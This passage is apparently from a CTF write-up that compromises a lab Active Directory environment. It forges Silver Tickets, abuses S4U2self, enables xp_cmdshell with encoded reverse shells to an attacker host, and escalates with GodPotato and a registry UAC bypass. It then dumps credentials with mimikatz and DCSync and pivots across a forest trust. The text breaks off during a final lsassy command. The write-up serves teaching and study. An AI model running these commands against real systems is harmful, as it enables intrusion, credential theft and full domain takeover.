authentication protocol instead of NTLM
by providing the -k
flag to mssqlclient.py
:
~$ mssqlclient.py 'antennae.rv'/'chloe.lim':'BZCJsopuOPgH'@SQL01.antennae.rv -k
Impacket v0.13.0.dev0+20250813.95021.3e63dae - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[-] CCache file is not found. Skipping...
[-] CCache file is not found. Skipping...
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL01): Line 1: Changed database context to 'master'.
[*] INFO(SQL01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (antennae\chloe.lim guest@master)>
While performing this authentication, we can inspect the network traffic and find the corresponding TGS-REQ
and TGS-REP
packets. These are part of the TGS
exchange in the Kerberos
protocol, where the client (us!) requests for a service ticket to access a specific service (in this case, the MSSQL
service on sql01.antennae.rv
).
In the TGS-REQ
packet, we find that we are requesting a service ticket for the MSSQLSvc/sql01.antennae.rv
SPN:
For a detailed explanation on the
sname-string
structure, and how it is parsed into theMSSQLSvc/sql01.antennae.rv
SPN, please refer to our public preview which navigates the RFC 4120, Section 5.4.1 -KDC-REQ
andKDC-REQ-BODY
structures.
As you’d expect, the TGS-REP
packet contains the encrypted service ticket that we requested:
As per RFC 4120, Section 5.3, the ticket
structure returned in the KDC-REP
message is defined as follows:
Ticket ::= [APPLICATION 1] SEQUENCE {
tkt-vno [0] INTEGER (5),
realm [1] Realm,
sname [2] PrincipalName,
enc-part [3] EncryptedData -- EncTicketPart
}
Where the enc-part
contains an EncryptedData
structure, given by RFC 4120, Appendix A - ASN.1:
EncryptedData ::= SEQUENCE {
etype [0] Int32 -- EncryptionType --,
kvno [1] UInt32 OPTIONAL,
cipher [2] OCTET STRING -- ciphertext
}
The cipher
field contains the actual information about the authenticating client, encrypted with the service account’s password - in this case, that service account is svc_sql
. This encrypted portion of the ticket contains information about the client (us!), in a proprietary format known as the MS-PAC structure.
Since this part is encrypted with the service account’s password, the user cannot tamper with it! This is the base of the security of the
Kerberos
protocol, where services “trust” theKDC
to issue valid tickets.
The MS-PAC
(referred to as PAC
from hereon) structure contains a lot of information about the client that the service will simply trust, and use to authorize the client. You can think of this structure as a glorified JWT token.
Since we have the credentials of svc_sql
, we can decrypt the ticket->enc-part->cipher
field, and extract the PAC
structure. This can be done using Impacket, which conveniently exposes an interface to parse a MS-PAC
structure in pac.py.
try:
cipherText = decodedTicket['ticket']['enc-part']['cipher']
newCipher = _enctype_table[int(etype)]
plainText = newCipher.decrypt(key, 2, cipherText)
[...snip...]
encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]
sessionKey = Key(encTicketPart['key']['keytype'], bytes(encTicketPart['key']['keyvalue']))
adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[0]
# parsing every PAC
parsed_pac = parse_pac(pacType, args)
logging.info("%-30s:" % "Decoding credential[%d]['ticket']['enc-part']" % cred_number)
# One section per PAC
for element_type in parsed_pac:
element_type_name = list(element_type.keys())[0]
logging.info(" %-28s" % element_type_name)
# ... do stuff with the pac info...
describeTicket.py uses this interface to decrypt the ticket->enc-part->cipher
field, and parse the PAC
structure given the service account’s NTLM
hash. Firstly, we can convert the plaintext password of svc_sql
to its corresponding NTLM
hash easily with some python:
~$ python3
Python 3.13.5 (main, Jun 25 2025, 18:55:22) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import hashlib
>>> import binascii
>>> pw = "P@ssw0rd_f0r_SQL-antennae"
>>> binascii.hexlify(hashlib.new('md4', pw.encode('utf-16le')).digest()).decode()
'dafede3a0d35ddb28147bd418e4cd53b'
We can verify that this is indeed the correct NTLM
hash by using it to authenticate to the domain controller using pass-the-hash:
~$ nxc ldap dc01.antennae.rv -u 'svc_sql' -H 'dafede3a0d35ddb28147bd418e4cd53b'
LDAP 10.5.10.10 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:antennae.rv) (signing:None) (channel binding:No TLS cert)
LDAP 10.5.10.10 389 DC01 [+] antennae.rv\svc_sql:dafede3a0d35ddb28147bd418e4cd53b
Next, we can request for a service ticket for the MSSQLSvc/sql01.antennae.rv
SPN using kvno
like we did in #roasting-the-hard-way.
~$ echo 'BZCJsopuOPgH' | kinit 'chloe.lim'@ANTENNAE.RV
Password for [email protected]:
~$ kvno 'MSSQLSvc/sql01.antennae.rv'
MSSQLSvc/[email protected]: kvno = 2
~$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: [email protected]
Valid starting Expires Service principal
09/07/2025 11:19:28 09/07/2025 21:19:28 krbtgt/[email protected]
renew until 09/08/2025 11:19:28
09/07/2025 11:19:38 09/07/2025 21:19:28 MSSQLSvc/[email protected]
renew until 09/08/2025 11:19:28
All Kerberos tickets are stored in
/tmp/krb5cc_$(id -u)
by default.
We can now proceed with decrypting the service ticket, and parsing the PAC
structure using describeTicket.py
:
~$ describeTicket.py /tmp/krb5cc_1000 --rc4 'dafede3a0d35ddb28147bd418e4cd53b'
Impacket v0.13.0.dev0+20250813.95021.3e63dae - Copyright Fortra, LLC and its affiliated companies
[*] Number of credentials in cache: 2
[...snip...]
[*] LoginInfo
[...snip...]
[*] Account Name : chloe.lim
[*] Groups (decoded) : (513) Domain Users
[*] User Flags : (32) LOGON_EXTRA_SIDS
[*] User Session Key : 00000000000000000000000000000000
[*] Logon Server : DC01
[*] Logon Domain Name : antennae
[*] Logon Domain SID : S-1-5-21-1843653573-2831615454-1469364877
[*] User Account Control : (16) USER_NORMAL_ACCOUNT
[*] Extra SID Count : 1
[*] Extra SIDs : S-1-18-1 Authentication authority asserted identity (SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, SE_GROUP_ENABLED)
[*] Resource Group Domain SID :
[*] Resource Group Count : 0
[*] Resource Group Ids :
[*] LMKey : 0000000000000000
[*] SubAuthStatus : 0
[*] Reserved3 : 0
For brevity, I’ve snipped out all of the other PAC sections, except for the PAC_LOGON_INFO structure which contains: the credential information for the client of the Kerberos ticket.
.
Since we have the credentials of svc_sql
, we were able to decrypt a service ticket issued to chloe.lim
and parse the PAC
structure. With this knowledge, we can reverse the process and artificially forge a PAC
structure for any user we want, encrypt it with svc_sql
’s password, and create a valid service ticket for that user. This is known as a Silver Ticket Attack.
With this forged ticket, we can access the MSSQL
service on sql01.antennae.rv
as any user we want - including privileged users, like Administrator
. We can forge this ticket using ticketer.py. The following information is required to forge a ticket, most of which can be grabbed from BloodHound
:
-spn
: The SPN of the service we want to access. In this case, it’s MSSQLSvc/sql01.antennae.rv
.-domain
: The domain name, which is antennae.rv
.-domain-sid
: The domain SID, which can be found in BloodHound
or by running whoami /user
on any domain-joined machine. In this case, it’s S-1-5-21-1843653573-2831615454-1469364877
.-nthash
: The NTLM
hash of the service account, which we have already computed to be dafede3a0d35ddb28147bd418e4cd53b
.With this information, we can forge a ticket for the Administrator
user:
~$ ticketer.py -spn 'MSSQLSvc/sql01.antennae.rv' -domain 'antennae.rv' -domain-sid 'S-1-5-21-1843653573-2831615454-1469364877' -nthash 'dafede3a0d35ddb28147bd418e4cd53b' Administrator
Impacket v0.13.0.dev0+20250813.95021.3e63dae - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for antennae.rv/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in Administrator.ccache
We can now use this forged ticket to authenticate to the MSSQL
service on sql01.antennae.rv
as Administrator
:
~$ export KRB5CCNAME=Administrator.ccache
~$ mssqlclient.py -k -no-pass sql01.antennae.rv
Impacket v0.13.0.dev0+20250813.95021.3e63dae - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL01): Line 1: Changed database context to 'master'.
[*] INFO(SQL01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (ANTENNAE.RV\Administrator dbo@master)>
If we decrypt the ticket using describeTicket.py
, and inspect the PAC
- we’ll find that the PAC_LOGON_INFO
structure now contains information about the Administrator
user:
~$ describeTicket.py Administrator.ccache --rc4 'dafede3a0d35ddb28147bd418e4cd53b'
Impacket v0.13.0.dev0+20250813.95021.3e63dae - Copyright Fortra, LLC and its affiliated companies
[*] Number of credentials in cache: 1
[...snip...]
[*] Decoding unencrypted data in credential[0]['ticket']:
[*] Service Name : MSSQLSvc/sql01.antennae.rv
[*] Service Realm : ANTENNAE.RV
[*] Encryption type : rc4_hmac (etype 23)
[*] Decoding credential[0]['ticket']['enc-part']:
[*] LoginInfo
[...snip...]
[*] Account Name : Administrator
[*] Logon Count : 500
[*] Bad Password Count : 0
[*] User RID : 500
[*] Group RID : 513
[*] Group Count : 5
[*] Groups : 513, 512, 520, 518, 519
[*] Groups (decoded) : (513) Domain Users
[*] (512) Domain Admins
[*] (520) Group Policy Creator Owners
[*] (518) Schema Admins
[*] (519) Enterprise Admins
[*] User Flags : (0)
[*] User Session Key : 00000000000000000000000000000000
[*] Logon Server :
[*] Logon Domain Name : ANTENNAE.RV
[*] Logon Domain SID : S-1-5-21-1843653573-2831615454-1469364877
[*] User Account Control : (528) USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD
[*] Extra SID Count : 0
[*] Extra SIDs :
[*] Resource Group Domain SID :
[*] Resource Group Count : 0
[*] Resource Group Ids :
[*] LMKey : 0000000000000000
[*] SubAuthStatus : 0
[*] Reserved3 : 0
As we demonstrated earlier, we can now access the MSSQL
service on sql01.antennae.rv
as Administrator
. From here, we can enable the xp_cmdshell stored procedure, which allows us to execute arbitrary commands on the underlying operating system.
This is disabled by default for security reasons, but since we are
Administrator
, we can enable it.
SQL (ANTENNAE.RV\Administrator dbo@master)> EXEC sp_configure 'show advanced options', 1;
INFO(SQL01): Line 196: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL (ANTENNAE.RV\Administrator dbo@master)> RECONFIGURE;
SQL (ANTENNAE.RV\Administrator dbo@master)> EXEC sp_configure 'xp_cmdshell', 1;
INFO(SQL01): Line 196: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL (ANTENNAE.RV\Administrator dbo@master)> RECONFIGURE;
Now, we can use the stored procedure to execute commands on sql01.antennae.rv
as svc_sql
:
SQL (ANTENNAE.RV\Administrator dbo@master)> xp_cmdshell whoami
output
----------------
antennae\svc_sql
NULL
From this, we can obtain a reverse shell on sql01.antennae.rv
using a powershell one-liner obtained from revshells.com:
SQL (ANTENNAE.RV\Administrator dbo@master)> xp_cmdshell powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8[....snip....]uAEMAbABvAHMAZQAoACkA
This reverse shell points to our attacking machine, on port 8443
:
~$ nc -lnvp 8443
listening on [any] 8443 ...
connect to [198.51.100.5] from (UNKNOWN) [10.5.10.11] 59996
PS C:\Windows\system32> whoami
antennae\svc_sql
PS C:\Windows\system32>
Local service accounts typically have some level of elevated privileges on the machine, this is often a requirement to provision services. In this case, we’ll see that the svc_sql
has the SeImpersonatePrivilege
privilege:
PS C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
The SeImpersonatePrivilege privilege is a well-documented local privilege escalation vector, and can be exploited with various Potato variants. In this case, we can use GodPotato to obtain a reverse shell as NT AUTHORITY\SYSTEM
:
PS C:\windows\tasks> .\GodPotato.exe -cmd "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYg[....snip....AEMAbABvAHMAZQAoACkA"
Similar to before, this reverse shell points to our attacking machine, on port 9443
:
~$ nc -lnvp 8443
listening on [any] 8443 ...
connect to [198.51.100.5] from (UNKNOWN) [10.5.10.11] 60010
PS C:\windows\tasks> whoami
nt authority\system
And finally, we can grab the flag5.txt
file:
PS C:\Windows\Tasks> cat C:\Users\Administrator\Desktop\flag5.txt
RV{s1LVeR_tICk3Ts_aRe_oFteN_0V3Rl0oK3d_fOR_PRIv!13ge_3ScALaTION_:)_87b96b7fefeaa679845950e6042e2a8c}
An alternative to forging an arbitrary service ticket is to use the S4u2self extension of the Kerberos
protocol. This extension allows a service to obtain a service ticket to itself on behalf of a user.
.
This allows the svc_sql
user to request for a service ticket to the MSSQLSvc/sql01.antennae.rv
SPN on behalf of any user in the domain - including privileged users like Administrator
. This is possible because svc_sql
has the MSSQLSvc/sql01.antennae.rv
SPN registered to it.
We can use getST.py
to request for a service ticket to the MSSQLSvc/sql01.antennae.rv
SPN on behalf of Administrator
:
~$ getST.py -self -altservice 'MSSQLSvc/sql01.antennae.rv' -impersonate 'Administrator' 'antennae.rv'/'svc_sql':'P@ssw0rd_f0r_SQL-antennae'
Impacket v0.13.0.dev0+20250813.95021.3e63dae - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Changing service from [email protected] to MSSQLSvc/[email protected]
[*] Saving ticket in Administrator@[email protected]
As we did before, we can use this s4u
ticket to authenticate to the MSSQL
service on sql01.antennae.rv
as Administrator
:
~$ export KRB5CCNAME='Administrator@[email protected]'
~$ mssqlclient.py -k -no-pass sql01.antennae.rv
Impacket v0.13.0.dev0+20250813.95021.3e63dae - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL01): Line 1: Changed database context to 'master'.
[*] INFO(SQL01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (antennae\Administrator dbo@master)>
From here, we can follow the same steps as before to enable xp_cmdshell
, obtain a reverse shell as svc_sql
, and finally escalate to NT AUTHORITY\SYSTEM
using GodPotato
.
Another, cleaner, alternative is to simply spawn a process as the svc_sql
user from the existing local session we have as wei.jie.tan
. This can be done RunasCs, a C# implementation of the runas
command that supports passing in plaintext passwords.
PS C:\windows\tasks> .\RunasCs.exe 'svc_sql' P@ssw0rd_f0r_SQL-antennae powershell.exe -d antennae.rv -r 198.51.100.5:8443
[*] Warning: The logon for user 'svc_sql' is limited. Use the flag combination --bypass-uac and --logon-type '5' to obtain a more privileged token.
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-9138862$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 4424 created in background.
However, you may find that the obtained reverse shell is limited by User Account Control (UAC) and as a result - lacks the SeImpersonatePrivilege
privilege:
PS C:\Windows\system32> whoami /all
whoami /all
USER INFORMATION
----------------
User Name SID
================ ==============================================
antennae\svc_sql S-1-5-21-1843653573-2831615454-1469364877-1110
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
antennae\service-accounts Group S-1-5-21-1843653573-2831615454-1469364877-1125 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
This can be simply bypassed with any of the UAC
bypass methods, for example using computerdefaults.exe
. Where C:\Windows\Tasks\revshell.exe
is a reverse shell generated with msfvenom.
C:\Windows\system32> reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f && reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d "C:\Windows\Tasks\revshell.exe" /f && start computerdefaults.exe
From here, we can follow the same steps as before to obtain a reverse shell as svc_sql
, and finally escalate to NT AUTHORITY\SYSTEM
using GodPotato
.
~$ nc -lnvp 8443
listening on [any] 8443 ...
connect to [198.51.100.5] from (UNKNOWN) [10.5.10.11] 60583
PS C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
svc_sql
to senior-developers
This was a path that we were aware of during the competition, but was explicitly forbidden in the rules as it may be disruptive to other players. Anyway, this path is quite straightforward - simply using jolene.ong
to add svc_sql
to the senior-developers
group, which can SSH
into sql01.antennae.rv
:
~$ bloodyAD --host 'dc01.antennae.rv' -u 'jolene.ong' -p 'BoXALrqvqPd3' add groupMember 'senior-developers' 'svc_sql'
[+] svc_sql added to senior-developers
We can then SSH
into sql01.antennae.rv
as svc_sql
:
~$ sshpass -p 'P@ssw0rd_f0r_SQL-antennae' ssh 'svc_sql'@sql01.antennae.rv
PS C:\Users\svc_sql> whoami
antennae\svc_sql
Similar to before, we can do the SeImpersonatePrivilege
exploit with GodPotato
to escalate to NT AUTHORITY\SYSTEM
.
Finally, with local SYSTEM
access on sql01.antennae.rv
- we can obtain credentials from logged on users by dumping the LSASS
process. This allows us to steal NTLM
hashes of users that have previously logged into the machine.
We can do this with sekurlsa::logonpasswords
from mimikatz.exe, and find the NTLM
hash of kai.wen.goh
.
C:\windows\tasks>.\mimikatz.exe "sekurlsa::logonpasswords" "exit"
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # sekurlsa::logonpasswords
Authentication Id : 0 ; 153166753 (00000000:092123a1)
Session : Batch from 0
User Name : kai.wen.goh
Domain : antennae
Logon Server : DC01
Logon Time : 9/8/2025 12:41:46 AM
SID : S-1-5-21-1843653573-2831615454-1469364877-1122
msv :
[00000003] Primary
* Username : kai.wen.goh
* Domain : antennae
* NTLM : 56e7e432c955bfdbb8f57d1248417116
* SHA1 : f0d0a4ae3f6aeac2d677f1c6675c757453b18c37
* DPAPI : 81ce964944648399d64c9f933d25fc62
tspkg :
wdigest :
* Username : kai.wen.goh
* Domain : antennae
* Password : (null)
kerberos :
* Username : kai.wen.goh
* Domain : ANTENNAE.RV
* Password : (null)
ssp :
credman :
cloudap :
We can verify that these credentials are valid for the domain with nxc
:
~$ nxc ldap dc01.antennae.rv -u 'kai.wen.goh' -H '56e7e432c955bfdbb8f57d1248417116'
LDAP 10.5.10.10 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:antennae.rv) (signing:None) (channel binding:No TLS cert)
LDAP 10.5.10.10 389 DC01 [+] antennae.rv\kai.wen.goh:56e7e432c955bfdbb8f57d1248417116 (Pwn3d!)
On BloodHound
, we find that the kai.wen.goh
user is a member of the Domain Admins
group - which is a member of the Administrators
group on dc01.antennae.rv
.
The Domain Admins
group has full administrative access to the entire domain, and this includes performing Domain Replication - this technique can be extended to replicate domain credentials, also known as a DCSync attack. We can perform this attack using nxc
to obtain the NTLM
hash of the Administrator
user:
~$ nxc smb dc01.antennae.rv -u 'kai.wen.goh' -H '56e7e432c955bfdbb8f57d1248417116' --ntds --user 'Administrator'
SMB 10.5.10.10 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:antennae.rv) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.5.10.10 445 DC01 [+] antennae.rv\kai.wen.goh:56e7e432c955bfdbb8f57d1248417116 (Pwn3d!)
SMB 10.5.10.10 445 DC01 [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB 10.5.10.10 445 DC01 Administrator:500:aad3b435b51404eeaad3b435b51404ee:4b1b716bb4ad29c4efaf682577361070:::
We can verify that these credentials are valid for the domain with nxc
:
~$ nxc ldap dc01.antennae.rv -u 'Administrator' -H '4b1b716bb4ad29c4efaf682577361070'
LDAP 10.5.10.10 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:antennae.rv) (signing:None) (channel binding:No TLS cert)
LDAP 10.5.10.10 389 DC01 [+] antennae.rv\Administrator:4b1b716bb4ad29c4efaf682577361070 (Pwn3d!)
Lastly, we can use evil-winrm
to authenticate to dc01.antennae.rv
as Administrator
and grab the flag6.txt
file:
~$ evil-winrm -i dc01.antennae.rv -u 'Administrator' -H '4b1b716bb4ad29c4efaf682577361070'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat C:\Users\Administrator\Desktop\flag6.txt
RV{aNd_The_Pil1@r$_st@rt_dROpp!nG_170fee6a4def44375b5c5ecbc0b87efe}
This challenge, sadly, only had one solve. This flag is the first challenge in the backward.rv
forest, which has a bidirectional trust with the compromised antennae.rv
forest.
A bidirectional trust established between two Active Directory forests allows users in either forest to access resources in the other forest, provided they have the necessary permissions. This often means that a user from one forest can be granted access to resources in the other forest, and vice versa. In this case, a user in antennae.rv
can potentially access resources in backward.rv
, and vice versa.
In order to faciliate the use of BloodHound
to ingest data from both forests, we need to re-run bloodhound-ce-python
against the backward.rv
forest:
~$ bloodhound-ce-python -u '[email protected]' -p 'BoXALrqvqPd3' -d 'backward.rv' -c 'All' -ns '10.5.10.12' --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: backward.rv
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc02.backward.rv
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc02.backward.rv
INFO: Found 20 users
INFO: Found 55 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 1 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: SRV01.backward.rv
INFO: Querying computer: DC02.backward.rv
INFO: Done in 00M 03S
INFO: Compressing output into 20250907125945_bloodhound.zip
After ingesting this data into BloodHound
, we can now see the backward.rv
forest in the BloodHound
interface.
We can enumerate for foreign group memberships using the Queries
tab in BloodHound
. This is a built-in query, labelled as: Principals with foreign domain group membership
. We’ll find that [email protected]
is a member of the Maintainers
group in backward.rv
.
Additionally, we’ll find that the Maintainers
group has GenericAll
permissions on the Sysadmins
group in backward.rv
.
As we did before with the [email protected]
user, we can perform a DCSync
attack to obtain the NTLM
hash of the natasha.lim
user:
~$ nxc smb dc01.antennae.rv -u 'kai.wen.goh' -H '56e7e432c955bfdbb8f57d1248417116' --ntds --user 'natasha.lim'
SMB 10.5.10.10 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:antennae.rv) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.5.10.10 445 DC01 [+] antennae.rv\kai.wen.goh:56e7e432c955bfdbb8f57d1248417116 (Pwn3d!)
SMB 10.5.10.10 445 DC01 [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB 10.5.10.10 445 DC01 natasha.lim:1123:aad3b435b51404eeaad3b435b51404ee:0a1bc6b13cd3106322a6d5bbb0293e44:::
As we did before to enumerate the MachineAccountQuota
on antennae.rv
, we can do the same for backward.rv
. Due to the bidirectional trust, we can use the credentials of any user in antennae.rv
to query backward.rv
. In this case, we’ll use the credentials of natasha.lim
:
~$ nxc ldap dc02.backward.rv -u 'natasha.lim' -H '0a1bc6b13cd3106322a6d5bbb0293e44' -d 'antennae.rv' -M maq
LDAP 10.5.10.12 389 DC02 [*] Windows Server 2022 Build 20348 (name:DC02) (domain:antennae.rv) (signing:None) (channel binding:Never)
LDAP 10.5.10.12 389 DC02 [+] antennae.rv\natasha.lim:0a1bc6b13cd3106322a6d5bbb0293e44
MAQ 10.5.10.12 389 DC02 [*] Getting the MachineAccountQuota
MAQ 10.5.10.12 389 DC02 MachineAccountQuota: 10
We can create a new computer account in backward.rv
, using natasha.lim
’s credentials:
~$ nxc smb dc02.backward.rv -u 'natasha.lim' -H '0a1bc6b13cd3106322a6d5bbb0293e44' -d 'antennae.rv' -M add-computer -o NAME="gatari$" PASSWORD='P@ssw0rd'
SMB 10.5.10.12 445 DC02 [*] Windows Server 2022 Build 20348 x64 (name:DC02) (domain:backward.rv) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.5.10.12 445 DC02 [+] antennae.rv\natasha.lim:0a1bc6b13cd3106322a6d5bbb0293e44
ADD-COMP... 10.5.10.12 445 DC02 Successfully added the machine account: "gatari$" with Password: "P@ssw0rd"
Now that we have a computer account in backward.rv
, we can use the GenericAll
permissions that the Maintainers
group has on the Sysadmins
group to add our computer account to the Sysadmins
group:
~$ bloodyAD --host 'dc02.backward.rv' -u 'natasha.lim' -p ':0a1bc6b13cd3106322a6d5bbb0293e44' -d 'antennae.rv' add groupMember 'sysadmins' 'gatari$'
[+] gatari$ added to sysadmins
We can verify that our computer account is indeed a member of the Sysadmins
group:
~$ nxc ldap dc02.backward.rv -u 'gatari$' -p 'P@ssw0rd' -M whoami
LDAP 10.5.10.12 389 DC02 [*] Windows Server 2022 Build 20348 (name:DC02) (domain:backward.rv) (signing:None) (channel binding:Never)
LDAP 10.5.10.12 389 DC02 [+] backward.rv\gatari$:P@ssw0rd
WHOAMI 10.5.10.12 389 DC02 Name: gatari
WHOAMI 10.5.10.12 389 DC02 sAMAccountName: gatari$
WHOAMI 10.5.10.12 389 DC02 Enabled: Yes
WHOAMI 10.5.10.12 389 DC02 Password Never Expires: No
WHOAMI 10.5.10.12 389 DC02 Last logon: Never
WHOAMI 10.5.10.12 389 DC02 Password Last Set: Never
WHOAMI 10.5.10.12 389 DC02 Bad Password Count: 0
WHOAMI 10.5.10.12 389 DC02 Distinguished Name: CN=gatari,CN=Computers,DC=backward,DC=rv
WHOAMI 10.5.10.12 389 DC02 Member of: CN=Sysadmins,CN=Users,DC=backward,DC=rv
WHOAMI 10.5.10.12 389 DC02 User SID: S-1-5-21-2163652167-2436585246-2491459670-1605
Now that we are part of the sysadmins
group, we can enumerate for local administrator access on machines in the backward.rv
domain. We can do this with nxc
:
~$ nxc smb srv01.backward.rv -u 'gatari$' -p 'P@ssw0rd'
SMB 10.5.10.13 445 SRV01 [*] Windows Server 2022 Build 20348 x64 (name:SRV01) (domain:backward.rv) (signing:True) (SMBv1:False)
SMB 10.5.10.13 445 SRV01 [+] backward.rv\gatari$:P@ssw0rd (Pwn3d!)
The presence of the (Pwn3d!)
message indicates that gatari$
has local administrator access on srv01.backward.rv
. This is likely because the Sysadmins
group is a member of the Administrators
group on srv01.backward.rv
. We can SSH
into srv01.backward.rv
as gatari$
.
~$ sshpass -p 'P@ssw0rd' ssh 'gatari$'@srv01.backward.rv
PS C:\Users\gatari$> whoami
backward\gatari$
And grab flag7.txt
:
PS C:\Users\gatari$> cat C:\Users\Administrator\Desktop\flag7.txt
RV{f0r3I6n_GRoUP_mEMBeRSH1p_!$_pR3t7Y_4nNoyin9_549d3e2a7fd475283f4ce5f93f489a76}
After compromising srv01.backward.rv
, we can do the same credential dumping technique as shown in Flag 6: Antennae to dump the LSASS
process.
Previously, we used mimikatz.exe, but we can also use the lsassy module from nxc
to do the same. We’ll find the NTLM
hash of iqbal.hassan
.
~$ nxc smb srv01.backward.rv -u 'gatari$' -p 'P@ssw0rd' -M lsassy
SMB 10.5.10.13 445 SRV01 [*] Windows Server 2022 Build 20348 x64 (name:SRV01) (domain:backward.rv) (signing:True) (SMBv1:False)
